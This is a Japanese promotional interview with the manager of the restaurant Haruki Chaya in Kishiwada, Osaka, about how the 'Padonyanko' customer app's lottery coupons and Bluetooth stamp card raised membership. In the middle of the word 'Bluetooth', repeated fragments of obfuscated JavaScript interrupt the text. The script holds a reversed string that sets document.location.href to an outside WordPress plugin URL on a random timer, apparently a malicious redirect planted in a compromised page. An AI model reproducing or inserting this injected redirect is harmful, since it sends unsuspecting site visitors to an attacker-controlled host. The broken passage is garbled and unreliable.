「ぱどにゃんこ」を導入して新規顧客が増え、若い女性や家族連れも増えたという大阪岸和田市にある和食レストラン『春木茶屋』。「くじ」や「スタンプカード」が好評で、SNSで口コミが広がったという。店内にも飽きさせない工夫をされているという店長の雪本さまにお話をうかがいました。

会員数5倍増、若い女性や家族連れが飛躍的に増加

――「ぱどにゃんこ」を導入してみてどうでしたか？

2015年の1月から導入しましたが、373名だった会員が一気に1901名まで増加しました。5倍以上増えましたね。とてもビックリしています。特に若い女性が増えていますね。若い女性がパフェを食べながら「ぱどにゃんこ」アプリを登録している姿をよく見ますよ。それからママ友同士で情報交換をして、「ぱどにゃんこ」が口コミで広がっているようですね。そのおかげで家族連れがとても増えました。

――一番効果があったのは何だと思いますか？

「くじ」ですね。「くじ」は、１等が50％OFF、2等が20％OFFです。「くじが当たった」と来店される新規顧客が増えてきました。「ぱどにゃんこ」の噂を聞いてアプリ登録されて、近所のお店として当店が出てくるので、そのタイミングで「くじ」をゲーム感覚でされる人が多いと思います。「くじ」が当たると喜んで来店いただくので、集客にとても役立っています。

――「スタンプカード」は効果がありますか？

とても効果があります。お客様がアプリを起動していると、「ぱどにゃんこ」の置物（冒頭写真で雪本店長が手にされている置物）から出ているBluetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toothの電波に自動的に反応してスタンプが押されるので、手間がかからず、しかもお客様も知らず知らずのうちにスタンプが増えるので、とても楽しいようです。
「スタンプカード」は、10個貯まると50％OFFになります。すでに30組以上がご利用されたと思います。

女性に大人気の「ぱどにゃんこ」　口コミも拡大中

――アプリ登録を促進する工夫はされていますか？

テーブルにPOPを置いています。壁にも「ぱどにゃんこ」の大きなポスターを貼っていますので、来店されたお客様は「これ何だろう？」とすぐに興味を持っていただきます。これまで当店では常連さんがほとんどでしたが、「ぱどにゃんこ」のキャラクターのかわいさもあって、女性にとても人気ですね。女性はSNSを使った口コミが発生しやすいので、「ぱどにゃんこ」を女性に気に入っていただけるのが良いですね。

――口コミで広がっているんですね

はい。確実に若い女性が増えてきているという実感があります。

――メールも配信されていますか？

メールは毎月配信しています。私は文章を書くのが苦手ですが、『ぱど』さんにご相談させていただきながら楽しくメール配信させていただいています。『ぱど』さんに何でも相談できるので、とても助かっています。

――『ぱど』以外は利用されていますか？

他にも登録はしていますが、ほとんど動いていません。やはり『ぱど』さんからの集客が多いですね。

――お店にはたくさんのフィギュアがありますね

実はフィギュア収集が私の趣味なんですが、5年間収集しているうちに400体ほどになってしまい、置く場所がなくなってきたので、その一部をお店に並べているんですよ。それが若い人に大人気のようで、思いがけず集客に役立っています（笑）　若い子がフィギュアを眺めながらパフェを食べて、「ぱどにゃんこ」を登録しているというのが当店の良くある風景ですね（笑）

運用が楽で、何でも相談できるので助かっている

――「ぱどにゃんこ」の運用はいかがですか

とても楽に運用できています。「くじ」の設定も簡単ですし、「スタンプカード」は自動的にスタンプを貯めてくれるので、手間がかかりません。それに『ぱど』さんに何でも相談できるので、分からないところや苦手なところがあっても安心できます。私の場合はメール配信の時にとても助かっています。

――「ぱどにゃんこ」でおすすめの機能を教えてください

やはり「くじ」と「スタンプカード」ですね。若い女性でもゲーム感覚で楽しく参加できるので、これから女性のお客様を増やしたいというお店には最適だと思います。

――ありがとうございました